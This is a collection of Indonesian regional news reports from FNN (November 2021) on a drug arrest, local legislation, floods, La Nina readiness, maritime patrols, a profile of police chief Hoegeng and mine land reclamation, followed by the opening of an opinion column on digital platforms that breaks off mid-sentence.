Banjarmasin, FNN - Polresta Banjarmasin mengungkap peredaran ekstasi logo Moncler di Kalimantan Selatan (Kalsel) yang dilakukan seorang pemuda 26 tahun. "Ada 48 butir ekstasi logo Moncler warna silver dengan berat 19,68 gram disita sebagai barang bukti," ungkap Kasat Resnarkoba Polresta Banjarmasin Kompol Mars Suryo Kartiko, Sabtu. Diketahui sindikat peredaran ekstasi kerap memproduksi pil gedek tersebut dengan beragam bentuk dan warna. Kali ini, Moncler sebagai merek mode mewah Italia yang terkenal dijadikan logo memasarkan barang haram ekstasi. Tersangka berinisial HR ditangkap di rumahnya Jalan Pangeran Antasari, Kecamatan Banjarmasin Timur, Kota Banjarmasin. Selain ekstasi, petugas juga menemukan enam paket sabu-sabu dengan berat 17,19 gram dari penggeledahan kediaman sang pengedar. Kini polisi masih memburu jaringan bandar pengendalinya karena hasil pemeriksaan sementara penyidik, tersangka mengaku hanya menjalankan perintah dari seseorang jika ada pesanan narkoba. Termasuk jalur peredarannya juga ditelusuri apakah ekstasi dan sabu-sabu hanya dipasarkan di wilayah Banjarmasin ataupun juga daerah lainnya di Kalsel. "Untuk tersangka kini ditahan dan dijerat Pasal 112 dan atau 114 Undang-Undang RI Nomor 35 tahun 2009 tentang Narkotika dengan ancaman pidana paling singkat 4 tahun dan maksimal hukuman mati," kata Mars Suryo. (mth)

DPRD DKI Target Rampungkan Dua Perda BUMD hingga Akhir 2021

Jakarta, FNN - DPRD DKI Jakarta menargetkan merampungkan dua rancangan peraturan daerah (raperda) dari dua Badan Usaha Milik Daerah (BUMD) DKI Jakarta hingga akhir Tahun 2021 ini. Ketua Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD DKI Jakarta Pantas Nainggolan menyebutkan bahwa dua raperda, yakni perubahan status Perusahaan Umum Daerah Air Limbah (PAL) Jaya menjadi perumda, dan Perseroan Terbatas Jakarta Tourisindo menjadi Perseroda untuk dikebut, karena Program Peraturan Daerah (Propemperda) Tahun 2022 telah ditetapkan. "Mudah-mudahan dua raperda ini bisa diparipurnakan pada tahun ini juga, karena kalau sampai melampaui tahun ini berarti harus masuk di program tahun depan, dan kami bahas lagi, sedangkan penetapan sudah selesai," ujar Pantas dalam keterangan di Jakarta, Sabtu. Pantas berharap setelah disahkan menjadi payung hukum, PAL Jaya dapat meningkatkan pelayanan dan pengelolaan air limbah lebih baik lagi, juga dapat berkontribusi terhadap pendapatan asli daerah (PAD). Sedangkan, untuk Jakarta Tourisindo, politisi PDI Perjuangan tersebut mengharapkan BUMD itu dapat berpartisipasi dalam mengembangkan dan mengelola perhotelan serta pariwisata. "Lalu bisa berperan membentuk ekosistem pariwisata yang terintegrasi dan berkelanjutan serta mendongkrak pertumbuhan ekonomi daerah," ucapnya. Sementara itu, Kepala Biro Hukum DKI Jakarta Yayan Yuhanah mengaku siap mempercepat tahapan-tahapan selanjutnya, sehingga dua raperda ini bisa segera menjadi perda. "Untuk proses selanjutnya kami akan segera membuat surat permohonan kepada Kemendagri untuk proses fasilitasi. Kami kawal supaya bisa mengundangkan dan memberlakukan perda ini di Tahun 2021," tuturnya. (mth)

Bupati Lombok Tengah Dukung Pelaksanaan Program Guru Penggerak

Lombok Tengah, FNN - Bupati Lombok Tengah, Nusa Tenggara Barat, Lalu Pathul Bahri mendukung pelaksanaan Program Guru Penggerak untuk meningkatkan kualitas sumber daya manusia (SDM) melalui pendidikan. "Sejalan dengan visi dan misi Lombok Tengah beriman, sejahtera, bermutu, maju dan berbudaya (Bersatu Jaya), kami mendukung dan membutuhkan bapak/ibu yang sedang mengikuti pendidikan guru penggerak ini," kata Lalu Pathul Bahri saat membuka acara lokakarya 7 program pendidikan guru penggerak yang digagas Kementerian Pendidikan dan Kebudayaan di Praya, Lombok Tengah, Sabtu. Sebagaimana dipahami semua, kata Bupati bahwa program ini akan menghasilkan pendidikan kepemimpinan bagi guru untuk mengembangkan diri dan orang lain, memimpin pembelajaran, memimpin manajemen sekolah dan pengembangan sekolah. "Program ini meliputi pelatihan daring, lokakarya, konferensi dan pendampingan selama sembilan bulan. Program guru penggerak menciptakan pembelajaran yang berpihak pada murid dan menggerakkan ekosistem pendidikan yang lebih baik," katanya. Dikatakan, para guru penggerak nantinya akan menjadi motor di Kabupaten Lombok Tengah untuk menggerakkan guru-guru lainnya di wilayah kerja masing-masing. Sehingga semua jenjang sekolah dapat mengimplementasikan konsep merdeka belajar menuju profil pelajar pancasila menyongsong Indonesia Emas tahun 2045. "Hari ini kita sedang dalam proses mencetak guru penggerak di Kabupaten Lombok Tengah, berproses melaksanakan program pendidikan guru penggerak yang digelar Kementerian Pendidikan Kebudayaan Riset dan Teknologi RI," katanya. Menurut Bupati, calon guru penggerak ini terdiri dari Guru TK, SD, SMP dan SMA/SMK, sedangkan pengajar praktik guru penggerak berasal dari unsur guru, kepala sekolah, dosen dan pengawas. "Saya memberikan apresiasi dan selamat kepada calon guru penggerak dan pengajar praktik dalam mengikuti proses lanjutan dari Kementerian Pendidikan dan Kebudayaan RI," katanya. Ia juga mengatakan, Kabupaten Lombok Tengah yang kini berusia 76 tahun, terus menerus berusaha meningkatkan akses masyarakat terhadap layanan pendidikan dasar dan menengah di lombok tengah. "Alhamdulillah hal tersebut dapat meningkat secara signifikan dari tahun ke tahun. Guru penggerak adalah upaya konkret pemerintah untuk mengimbangi kecepatan perubahan di era globalisasi," katanya. (mth)

Jakarta Siapkan Tiga Kata Kunci Hadapi La Nina

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta menyiapkan tiga kata kunci sebagai langkah antisipasi untuk menghadapi potensi bencana akibat La Nina. "Ada tiga kata kunci yang harus dipegang dan dilaksanakan yaitu siaga, tanggap dan galang," ujar Gubernur Provinsi DKI Jakarta Anies Baswedan saat apel kesiapsiagaan Palang Merah Indonesia (PMI) Provinsi DKI Jakarta di Taman Kota Waduk Pluit, Jakarta Utara, Ahad, 14 November 2021. La Nina adalah fenomena alam yang menyebabkan udara terasa lebih dingin atau mengalami curah hujan lebih tinggi. La Nina adalah salah satu faktor penyebab musim hujan, selain angin muson. La Nina berasal dari Bahasa Spanyol yang berarti gadis kecil. Anies mengatakan dalam melaksanakan kata kunci pertama, yakni siaga, petugas harus sudah memikirkan langkah antisipasi untuk menyelamatkan serta memetakan lokasi yang aman. "Ketika berbicara tentang bersiaga itu bukan soal upacara atau menyiapkan alat-alat tapi siaga adalah antisipasi untuk menyelamatkan. Lokasi dan langkahnya harus dipikirkan sejak awal," kata Anies, sebagaimana dikutip dari Antara. Selanjutnya, kata Anies, apabila Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) mengumumkan akan terjadi hujan lokal hebat, maka setelah siaga Jakarta harus tanggap, artinya harus ada respons cepat yang dilakukan saat mulai terjadi banjir. "Mereka turun ke lapangan untuk meringankan beban orang-orang yang terkena bencana," kata Anies. Yang terakhir adalah galang, artinya harus galang seluruh kekuatan ketika berhadapan dengan banjir. Anies mengatakan seluruh unsur tiga pilar mulai dari Polisi, TNI, dan Pemerintah Provinsi DKI Jakarta diharapkan dapat bekerja bersama untuk menggalang seluruh kekuatan, bersama masyarakat, bahu-membahu ketika menghadapi ancaman banjir. "Saya sampaikan terima kasih dan apresiasi karena Anda semua menjadi bukti bahwa bangsa kita tetap melahirkan pahlawan dan menumbuhkan pahlawan. Pahlawan-pahlawan itu tidak hanya hadir di tahun 1945 tapi setiap tahun dan hadir dalam setiap kesempatan," kata Anies. Usai memberikan arahan, Gubernur meninjau kesiapan personel dan armada kemudian menyaksikan simulasi kesiapsiagaan PMI dalam menghadapi dampak La Nina. Sementara itu, Ketua PMI Provinsi DKI Jakarta Rustam Effendi mengungkapkan berdasarkan informasi dari BMKG diprediksi akan terjadi perubahan cuaca sebagai dampak La Nina yang akan melanda di beberapa tempat di Indonesia termasuk DKI Jakarta. "PMI akan membantu dan bekerjasama dengan Pemda terutama dalam menangani aspek kemanusiaan kepada masyarakat yang kemungkinan sangat dirugikan terhadap bencana tersebut," ujarnya. Hadir juga dalam apel tersebut Wali Kota Jakarta Utara Ali Maulana Hakim, Asisten Administrasi dan Kesejahteraan Rakyat Sekretaris Kota Jakarta Utara Wawan Budi Rohman dan Camat Penjaringan Depika Romadi. (MD).

Dewan Pers Apresiasi Penghargaan Seorang Wartawan Jadi Bupati

Ternate, FNN - Dewan Pers memberikan apresiasi kepada Bupati Halmahera Selatan (Halsel), Usman Sidik atas penghargaan yang diterimanya dari Lembaga Prestasi Indonesia Dunia, karena menjadi wartawan pertama di Maluku Utara menjadi kepala daerah. "Saya mengucapkan selamat dan semoga Bupati Halsel Usman Sidik berperan aktif dalam mendukung kemerdekaan pers di Halmahera Selatan pada khususnya dan pada umumnya di Malut,” kata Wakil Ketua Dewan Pers, Hendry CH Bangun saat dihubungi dari Ternate, Minggu. Penghargaan itu diberikan langsung oleh Ketua Lembaga Prestasi Indonesia Dunia, Paulus Pangka kepada Bupati Halsel, Usman Sidik bertempat di Auditorium Kantor Perpustakaan Nasional Jakarta, Sabtu (13/11). Hendry berharap Bupati Halsel dapat memberikan fasilitasi pelatihan dan uji kompetensi bagi wartawan. Sekaligus agar memerintahkan staf untuk memberikan kemudahan dalam mendapatkan informasi. "Dewan Pers sangat berharap dapat mendukung dan memberikan fasilitas pelatihan serta UKW bagi wartawan di Halmahera Selatan," katanya. Selain itu juga, Hendry yang juga mantan Sekretaris PWI Pusat itu menginginkan agar Pemda Halmahera Selatan dapat bekerja sama dengan media yang bermutu melalui pemasangan advetorial dan dapat membedakan mana media serius dan media yang hanya ingin memanfaatkannya untuk kepentingan sendiri atau kelompok. Untuk diketahui, Bupati Kabupaten Halmahera Selatan, Hi. Usman Sidik menerima penghargaan Youth Award 2021 dari Lembaga Prestasi Indonesia Dunia. Penghargaan diberikan kepada orang nomor satu di Halsel ini, karena atas prestasi menjadi wartawan (TPI dan RCTI) pertama di Provinsi Malut menjadi kepala daerah. (mth)

BNPB: 33.221 Jiwa Warga di Sintang Masih Mengungsi Karena Banjir

Sintang, FNN - Badan Nasional Penanggulangan Bencana (BNPB) menyatakan hingga saat ini banjir masih menggenangi 12 kecamatan di Sintang Kalimantan Barat, akibatnya 10.381 kepala keluarga atau 33.221 jiwa warga terdampak masih mengungsi. "Warga Sintang yang mengungsi tersebar di 32 pos pengungsian yang dioperasikan Badan Penanggulangan Bencana Daerah (BPBD) setempat," kata Pelaksana tugas Kepala Pusat Data, Informasi dan Komunikasi Kebencanaan BNPB Abdul Muhari, melalui siaran pers yang diterima ANTARA, di Pontianak, Minggu. Disampaikan Abdul Muhari, pos pengungsian tersebut didukung 24 dapur umum yang dioperasikan tim gabungan di bawah komando BPBD Kabupaten Sintang. Menurut dia, berdasarkan data pada Sabtu (13/11) sekitar pukul 17.00 WIB, ribuan warga yang mengungsi itu berasal dari sembilan kecamatan yang terdampak banjir sejak 21 Oktober 2021 lalu. "Banjir masih menggenangi wilayah Sintang, meski pun debit air sempat turun, namun kondisi tersebut membuat warga masih bertahan di tempat pengungsian," jelasnya. Dikatakan Abdul Muhari, BPBD Sintang juga telah mengoperasikan lima pos lapangan untuk melayani kebutuhan dasar warga, seperti asupan makanan dan pelayanan kesehatan. Kelima pos lapangan berada di kawasan Tugu Bambu, Pos Lantas, Media Center, Ujung Jembatan Kapuas dan Kantor Camat Sintang, sedangkan pos komando berada di Kantor BPBD Kabupaten Sintang. "Pos pengungsian mau pun dapur umum tersebar di 12 kecamatan, khususnya titik-titik yang aman dari genangan air," ucap dia. Sementara itu, BPBD Sintang mencatat jumlah populasi terdampak, sebanyak 29.623 kepala keluarga atau 88.148 jiwa. Kata Abdul Muhari, masyarakat terdampak tersebut tersebar di 12 kecamatan, antara lain Kecamatan Kayan Hulu, Kayan Hilir, Binjai Hulu, Sintang, Sepauk, Tempunak, Ketungau Hilir, Dedai, Serawai, Ambalau, Sei Tebelian dan Kelam Permai. Pantauan BPBD setempat menyebutkan wilayah yang terdampak paling tinggi berada di Kecamatan Kayan Hulu, Kayan Hilir dan Sintang. "Banjir yang melanda banyak kecamatan ini telah menelan korban jiwa dua orang dan kerugian material seperti jembatan rusak berat sebanyak lima unit dan rusak sedang satu unit," katanya. Menyikapi kondisi sejak awal terjadinya banjir, pemerintah daerah yang dipimpin oleh BPBD Kabupaten Sintang telah melakukan upaya penanganan darurat bencana. Pemerintah daerah pun telah melakukan perpanjangan status tanggap darurat untuk bencana banjir, angin puting beliung dan tanah longsor hingga 16 November 2021. "Di sisi lain, BNPB terus melakukan manajemen darurat pos komando di kabupaten ini dan kita berharap banjir segera surut," kata Abdul Muhari. (mth)

Hidayat Nur Wahid, Pemuda Harus Paham Sejarah Perjuangan Pahlawan

Jakarta, FNN - Wakil Ketua MPR RI Hidayat Nur Wahid mengatakan pemuda harus memahami sejarah perjuangan pahlawan sehingga bisa menghargai dan menghormati pengorbanan para pejuang dan melanjutkan semangat mereka dalam mengisi kemerdekaan. Tampil sebagai pembicara secara daring dalam Sosialisasi Empat Pilar MPR RI kerja sama MPR dengan Pengurus Wilayah Partai Keadilan Sejahtera Provinsi Bangka Belitung, Sabtu, 13 November 2021, Hidayat Nur Wahid mengatakan salah satu cara memahami perjuangan pahlawan adalah dengan mengenal dan mendalami benda-benda peninggalan mereka. "Dengan mempelajari serta mengenali benda-benda sejarah peninggalan para pejuang, kita dapat merasakan betapa berat perjuangan dan pengorbanan mereka dalam merebut serta mempertahankan kemerdekaan," kata Hidayat dalam siaran persnya di Jakarta, Ahad, 14 November 2021. Ia mencontohkan Pesanggrahan Wisma Menumbing, Muntok, Bangka Barat, Kepulauan Bangka Belitung, rumah pengasingan yang digunakan penjajah untuk mengisolir dan memutus hubungan para pejuang dengan pejuang lainnya. Di tempat tersebut, Bung Karno, Bung Hatta, KH Agus Salim, RS Soerjadarma, Sutan Sjahrir, Mr Asaat, dan AG Pringgodigdo pernah menjalani pengasingan. Dalam kesempatan itu Hidayat juga menyinggung proses penentuan dasar dan ideologi negara yang juga tidak mudah, bahkan memunculkan friksi tajam antara kelompok nasionalis religius dan nasionalis kebangsaan. Meski perbedaan pendapat dalam penentuan dasar dan ideologi negara tersebut sangat keras, akhirnya semua kelompok mengakui bahwa Indonesia adalah negara religius. "Ini dibuktikan dengan adanya pengakuan bahwa kemerdekaan Indonesia didapat atas berkat Rahmat Allah Yang Maha Kuasa seperti yang tersirat pada alinea tiga Pembukaan UUD NRI 1945," tutur Hidayat, sebagaimana dikutip dari Antara. Menurut dia, keberhasilan pembentukan Pembukaan UUD NRI Tahun 1945 tak lepas dari kelihaian KH Anwar Sanusi. Ketika kelompok religius dan kebangsaan tak menemukan mufakat, Anwar Sanusi menawarkan pertemuan untuk dilakukan lobi yang akhirnya bisa diperoleh kesepakatan. Perjuangan berat ini, kata Hidayat, harus diketahui oleh generasi muda agar mereka paham dan menghargai pengorbanan para pahlawan, kemudian melanjutkan dan menjaganya. "Supaya tidak diombang-ambingkan sekelompok orang yang menyimpan keinginan menggantikan Pancasila dengan ideologi yang lain," ujarnya. Selain Hidayat, anggota MPR RI F-PKS Ahmad Syaikhu juga menjadi narasumber pendamping pada acara yang dihadiri BPW PKS Sumbagsel HA. Junaidy Auli, Ketua MPW PKS Babel Dody Kusdian, Ketua DPW PKS Babel Aksan Visyawan, anggota DPRD Kota, Kabupaten, dan Provinsi Fraksi PKS se-Bangka Belitung itu. (MD).

TNI dan Polri Intensifkan Patroli di Selat Malaka

Banda Aceh, FNN - Personel gabungan Satuan Polisi Perairan dan Udara (Satpolairud) Polres Aceh Timur dan Pos Pangkalan TNI Angkatan Laut mengintensifkan patroli di perairan Selat Malaka. Kapolres Aceh Timur AKBP Mahmun Hari Sandy Sinurat melalui Kepala Satpolairud Iptu Zainurusydi di Aceh Timur, Minggu, mengatakan patroli untuk mencegah masuknya pendatang ilegal maupun penyelundupan barang terlarang "Patroli ini untuk mencegah penyelundupan barang terlarang seperti narkoba dan lainnya, juga memperketat terhadap potensi masuknya pendatang ilegal melalui perairan Aceh Timur," kata Iptu Zainurusydi. Belum lama ini, ada informasi pengungsi Rohingya akan masuk ke wilayah perairan Aceh Timur. Karena itu, Polres Aceh Timur bersama TNI AL meningkatkan kewaspadaan untuk mengantisipasi masuknya orang dari luar secara ilegal. Ia mengatakan patroli menggunakan kapal C3 milik Satpolairud Polres Aceh Timur. Patroli menyisir perairan Selat Malaka yang masuk wilayah hukum Polres Aceh Timur. "Kami bersama prajurit TNI AL beserta Danpos Lanal Idi Letda Laut (E) Mahrifal Fahmi bergerak dari dermaga sandar Pelabuhan Idi menuju ke arah barat Selat Malaka," ujarnya. Dalam patroli tersebut, tim gabungan bertemu dengan kapal TNI AL KRI Sultan Thaha Syaifudin dipimpin Letkol Laut (P) Faruq dan berkoordinasi tentang adanya informasi yang beredar, bahwa akan adanya pendatang ilegal dilaporkan masuk melalui perairan Aceh Timur. Tim gabungan juga memeriksa surat-menyurat kapal nelayan saat patroli. Termasuk mengingatkan para nelayan agar tetap mematuhi protokol kesehatan, kendati sedang melaut "Kami juga mengimbau para nakhoda kapal di perairan Selat Malaka wilayah Aceh Timur segera menginformasikan jika melihat kapal mencurigakan, seperti membawa orang dalam jumlah banyak," tutur dia. (mth)

Saat Kapolri Hoegeng Tidak Ingin Anaknya Jadi Polisi

Jakarta, FNN - Nama Jenderal Polisi (Purn) Hoegeng Iman Santoso mungkin tidak terdengar asing lagi bagi masyarakat di Tanah Air. Terutama bagi instansi Korps Bhayangkara. Jenderal Hoegeng merupakan seorang polisi melegenda dan selamanya akan terus dikenang atas apa yang telah ia torehkan semasa hidup. Lahir pada 14 Oktober 1921, ia adalah Kepala Kepolisian Republik Indonesia (Kapolri) kelima tepatnya periode 1968 hingga 1971. Hoegeng menikah dengan seorang perempuan bernama Meriyati Roeslani atau yang kerap disapa Merry. Dari pernikahannya, mereka dikarunia tiga orang anak. Dua perempuan dan satu laki-laki. Jenderal Hoegeng kini memang telah tiada. Ia berpulang pada 14 Oktober 2004 di usia 82 tahun. Namun, nama besar yang disandangnya tetap abadi dan akan terus dikenang. Bertepatan dengan 100 tahun memperingati Hoegeng 1921-2021, keluarga besar mempersembahkan sebuah buku yang berjudul "Dunia Hoegeng, 100 Tahun Keteladanan". Buku yang ditulis langsung oleh seorang wartawan senior bernama Farouk Arnaz tersebut bercerita tentang kisah-kisah humanis dan kepribadian yang begitu kuat dari bapak tiga orang anak tersebut. Bagi keluarga, Hoegeng tidak hanya sekadar suami, ayah atau Kapolri. Jauh dari itu, sosok Hoegeng merupakan tauladan dari berbagai hal. Suatu ketika, Aditya Soetanto Hoegeng yang merupakan anak kedua dari polisi Hoegeng berniat masuk Akademi Angkatan Bersenjata Republik Indonesia (AKABRI). Adit, sapan akrabnya, masih duduk di bangku sekolah menengah atas (SMA). Ia bercita-cita masuk AKABRI. Untuk bisa mendaftar, salah satu syarat ialah harus melampirkan atau menyertakan surat izin dari orang tua. Dengan rasa penuh semangat dan percaya diri, Aditya datang ke Markas Besar (Mabes) Polri untuk meminta surat izin orang tuanya. Sesampainya di sana, ia diminta tunggu oleh ajudan Hoegeng. Di momen pertemuan tersebut, untuk pertama kalinya ia melihat sosok Hoegeng bukan sebagai seorang ayah yang biasanya ramah dan hangat kepada anak-anaknya. Aditya mengenang kala itu Hoegeng hanya melihat ke arahannya dan bertanya ada keperluan apa menemuinya di kantor. Sontak saja hal itu membuatnya gugup karena melihat dua sosok yang berbeda dalam waktu bersamaan. Di satu sisi, ia melihat Hoegeng sebagai ayah kandungnya namun di sisi lain ia sedang berhadapan dengan seorang Kapolri dan memperlakukan dirinya seperti tamu-tamu lainnya. Setelah menyampaikan niatan membutuhkan surat izin dari orang tua, Hoegeng hanya menjawab nanti saja kepada anaknya tersebut. Pembicaraan mereka pun tak berlangsung lama. Bahkan, selepas itu Hoegeng sama sekali tidak menyapa atau mempersilakan anaknya duduk. Ia malah meneruskan segudang pekerjaannya yang menumpuk di meja kerja. Mengetahui sikap ayahnya seperti itu, Aditya langsung pulang. Uniknya, ketika Hoegeng kembali ke rumah ia sudah bersikap layaknya seperti seorang bapak kepada anak dan suami kepada istri. "Saya masih ingat saat itu bapak bertanya, hai Dit kamu sudah makan? Beliau sama sekali tidak membicarakan soal tadi yang di kantor," kenangnya. Setelah kurang lebih tiga hari menunggu, tiba-tiba ajudan Hoegeng memberitahu Aditya kalau dirinya telah ditunggu oleh bapaknya di Mabes Polri. Mengetahui sikap orang tuanya dari pertemuan sebelumnya, Aditya menyiapkan mental dengan matang. Saat tiba di Mabes Polri, Hoegeng bertanya kemantapan hati putranya tersebut masuk ke dunia militer. Anehnya, kala itu Hoegeng berpesan agar anaknya tidak masuk polisi. Sebab ia tidak ingin ada Hoegeng lainnya di instansi kepolisian. "Mendengar ucapan itu, saya mau ketawa tapi takut," ujar dia. Selepas berbincang ringan, Aditya menanyakan perihal surat izin yang ia minta beberapa hari lalu. Akan tetapi, Hoegeng tidak memberikannya dan meminta anaknya pergi. Dalam pikirannya, mungkin saja ayahnya hanya tinggal mengirimkan radiogram dari Mabes Polri untuk syarat pendaftaran AKABRI. Setelah keluar dari Mabes Polri, ia baru menyadari bahwa pendaftaran sudah tutup dua hari yang lalu. "Jadi beliau monitor sampai hari pendaftaran tutup, baru dia panggil saya," ujarnya. Rasa kecewa dan marah menyelimuti hatinya. Sebab, cita-citanya ingin masuk AKABRI tidak kesampaian hanya karena ayahnya tidak memberikan surat izin orang tua. Saking emosinya, Aditya meluapkan kemarahannya kepada kuas-kuas milik Hoegeng yang digunakan untuk melukis. Tanpa pikir panjang semua kuas tersebut digunduli. Ketika Hoegeng pulang bekerja, ia meminta pembantu untuk memanggil anaknya laki-lakinya itu. Namun, karena sudah terlanjur kesal dan marah Aditya menolak bertemu dengan bapaknya. Pada akhirnya, Jenderal Hoegeng sendiri yang datang ke kamarnya dan mengajak anaknya tersebut berbicara dari hati ke hati. Dengan perasaan yang masih gondok, akhirnya ia mau keluar kamar dan berbicara di meja makan bersama ayahnya. Selama pembicaraan, ia sama sekali tidak mau melihat wajah ayahnya karena masih kesal atas kejadian sebelumnya. "Kala itu bapak bilang, Dit sekarang kita bicara antara Hoegeng dengan dirimu, antara anak dan ayah," kata dia mengulangi pembicaraan saat itu. Sebelum masuk pada topik utama, Hoegeng terlebih dahulu mengatakan kepada anaknya tersebut jangan berkomentar atau menyanggah sebelum ia selesai bicara. "Dalam hati ku yang paling dalam, jangan ada lagi yang mengikuti jejak saya di angkatan. Cukup saya saja yang merasakan itu semua," kata Hoegeng seperti yang diceritakan ulang oleh anaknya. Selain itu, Hoegeng juga menjelaskan kenapa ia tidak mengizinkan anaknya bergabung di AKABRI. Hoegeng sama sekali tidak ingin jabatan yang disandangnya sebagai Kapolri, akan memudahkan atau setidaknya memengaruhi anaknya masuk AKABRI. Selepas menjelaskan panjang lebar alasan ia tidak memberi izin anaknya bergabung di AKABRI, dengan kerendahan hati, Hoegeng berdiri dari kursinya dan menghampiri anaknya sembari meminta maaf. Di akhir pembicaraan yang berlangsung di meja makan tersebut, Hoegeng dengan polosnya bertanya kepada anaknya kenapa kuasnya digunduli. Sontak saja hal itu membuat perasaan anaknya yang tadi penuh amarah langsung berubah drastis sambil menahan senyum. Dari kejadian tersebut Aditya mengaku belajar banyak dari ayahnya. Padahal, jika ingin masuk AKABRI apalagi jadi anggota polisi, tentu saja bisa dikatakan peluangnya jauh lebih besar dari calon lainnya. Akan tetapi, sosok Hoegeng melihat satu langkah lebih jauh dari yang dipikirkan anaknya. Selain itu, ia menilai bapaknya adalah orang yang sangat humanis dalam mendidik anak-anaknya. Larangan Memakai Kendaraan Dinas Dewasa ini mungkin cukup banyak ditemukan pejabat-pejabat yang dengan bangganya memberikan atau meminjamkan kendaraan dinas kepada anaknya untuk kepentingan pribadi. Tentu saja hal itu bertentangan atau tidak etis. Berbeda dengan Hoegeng, ia melarang tegas ketika anaknya ingin menggunakan kendaraan dinas untuk kepentingan apa pun. Kepada istri dan ketiga orang anaknya, Hoegeng selalu menekankan bahwa selain dirinya, tidak boleh ada orang yang memakai atau menggunakan fasilitas yang dipinjamkan oleh negara. Bahkan, diketahui, di dalam mobil dinas yang digunakan Hoegeng untuk bekerja terdapat tulisan yang melarang siapa saja menggunakan kendaraan itu kecuali untuk dinas kepolisan. Mengenai sosok Hoegeng, ada satu hal yang bisa dikatakan ikonik dari dirinya. Ialah kebiasannya naik sepeda ontel tua saat berdinas. Ia lebih suka mengayuh sepeda ontel berwarna kecokelatan tersebut, sembari memonitor kejadian di sekeliling. Suatu ketika, Presiden RI kelima Megawati Soekarnoputri yang saat itu masih kuliah bertemu dengan Jenderal Hoegeng di jalan. Mega yang hendak menuju Universitas Indonesia berpapasan dengan Hoegeng. Melihat Hoegeng mengayuh sepedanya, Mega menyapa dan memanggil "Om" serta menawarkan tumpangan kepada Hoegeng. Namun, dengan sopan dan rendah hati ia menolak tawaran itu. Sebab, bagi Hoegeng, selain berolahraga menggunakan sepeda akan membuatnya lebih mengetahui secara langsung apa yang terjadi di masyarakat dengan mata kepalanya secara langsung. Jika tidak sempat mengunjungi titik-titik lainnya, Hoegeng memanfaatkan "handy talky" (HT) sebagai sarana mendapatkan informasi. Berdasarkan pengakuan anaknya, Jenderal Hoegeng memiliki empat hingga lima HT yang selalu hidup 24 jam dan dibawa kemana ia pergi. Saat malam tiba, atau hendak ingin beristirahat suara HT milik Hoegeng selalu berisik. Kelima HT itu ditaruh di samping tempat tidur. Merry, istri dari Hoegeng sendiri mengaku sampai terganggu akibat riuh suara HT milik suaminya itu. Kini, 17 tahun sudah sosok Hoegeng telah tiada. Ia memang telah pergi untuk selamanya, namun namanya akan selalu dikenang. Dengan kepribadian yang kuat dan terkenal idealis, sudah sepatutnya para polisi meneladani sikap-sikap dari Jenderal Polisi (Purn) Hoegeng Iman Santoso. (mth)

Komut Inalum Kunjungi Wisata Kampoeng Reklamasi PT Timah

Bangka, FNN - Komisaris Utama PT Indonesia Asahan Aluminium Letnan Jenderal TNI (Purn) Doni Monardo mengunjungi wisata agro dan pusat perlindungan satwa di Kampoeng Reklamasi PT Timah Tbk di Desa Air Jangkang Kabupaten Bangka, Provinsi Kepulauan Bangka Belitung. "Kita berharap upaya ini dapat membantu mengembalikan fungsi lahan, sekaligus menambah nilai daerah ini," kata Komisaris Utama PT Indonesia Asahan Aluminium (Inalum) Doni Monardo di Pangkalpinang di Air Jangkang Bangka, Ahad, 14 November 2021. Dalam kegiatan kunjungan ke Kampoeng Reklamasi PT Timah ini, Komut Inalum didampingi Direktur Utama (Dirut) PT Timah Mochtar Riza Pahlevi Tabrani, Gubernur Kepulauan Bangka Belitung (Babel) Erzaldi Rosman Djohan, untuk melihat langsung perkembangan berbagai macam tanaman yang dapat dimanfaatkan secara cepat dan menghasilkan seperti buah naga, manga, dan kelapa pandan wangi. Selain itu rombongan juga meninjau kawasan pusat perlindungan satwa yang terancam punah akibat perburuan liar, kerusakan lingkungan, dan perdagangan ilegal di lahan penambangan bijih timah. "Kerusakan ekosistem dapat memberikan kerugian ekonomi. Ini PR kita bersama, kesejahteraan masyarakat Bangka," kata Doni Monardo. Melihat apa yang telah dilakukan hingga saat ini, ia mengaku lega. "Target kita 2045 Indonesia Emas, jangan sampai kerusakan alam malah membuat Indonesia cemas, bukan Indonesia Emas,” katanya, sebagaimana dikutip dari Antara. Kepala Bidang Komunikasi Perusahaan PT Timah Tbk Anggi Siahaan mengatakan Kampoeng Reklamasi Air Jangkang merupakan salah satu proyek rehabilitasi lingkungan PT Timah, dimana pada 2013 diawali uji coba penanaman tanaman kemiri sunan sebagai tanaman bioenergi seluas enam hektare. Pada 2014 uji coba penggunaan mikoriza (sejenis fungi/jamur yang bersimbiosis dengan akar tanaman/pohon sehingga tanaman lebih optimal menyerap hara dalam tanah). Uji coba ini pada tanaman sengon dan karet seluas 14 hektare. Selanjutnya, pada 2015 penanaman tanaman kehutanan dan uji coba penanaman buah naga seluas 2,2 hektare. Kemudian pertengahan 2016 mulai pembangunan Kampoeng Reklamasi diawali dengan penataan lahan, penanaman tanaman buah dan tanaman endemik Pulau Bangka yaitu Pelawan dan tahun 2017 penyusunan masterplan Kampoeng Reklamasi dan perluasan penanaman tanaman buah-buahan dan hortikultura lainnya. "Pada 2018 PT Timah bekerja sama dengan Yayasan Animal Lovers of Bangka Island (ALOBI) dalam hal pengembangan Pusat Penyelamatan Satwa dan 2019 perluasan enam hektare untuk penanaman tanaman buah dan pemanfaatan kolong yaitu budi daya ikan, kerja sama dengan Balai Riset Perikanan Perairan Umum dan Penyuluhan Perikanan Palembang di kawasan ini," katanya. (MD).

Saatnya Kita Mandiri dengan Platform Digital Model Sendiri (1)

Oleh: Agus Maksum DALAM rangka mensosalisasikan hasil kajian Pokja Ekonomi Musyawarah Ulama dan Tokoh Umat (MUTU) kami kirimkan tulisan singkat ini untuk dijadikan bahan renungan dan pemahaman, juga memahamkan umat dan masyarakat terhadap situasi yang terkait dengan Ekonomi Keuangan dan Teknologi Digital. Era Industri Digital 4.0 telah menjadi lifestyle kita, baik tua (kaum baby bomers) maupun mudanya (kaum milenial) apalagi generasi Z yang lahir setelah tahun 2000-an. Bahkan trend ini segera akan menciptakan sebuah masyarakat yang di sebut society 5.0, sebuah masyarakat yang kehidupannya sangat bergantung pada teknkologi digital. Sementara sebenarnya Industri 4.0 yang sekarang kita nikmati ini masih pada fase semu yang menipu Ekonomi di-drive oleh perusahaan StartUp Digital raksasa, namun perusahaan tersebut masih dalam masa bakar uang, masih belum mendapatkan profit. Artinya besarnya perusahaan-perusahaan raksasa Digital tersebut masih ditopang oleh masuknya uang dari Investor untuk di bakar mempertahankan user bukan dari profit. Ketika mereka akan sampai pada strategi exit-nya maka menjadi pertanyaan apakah mereka masih akan eksis, apakah 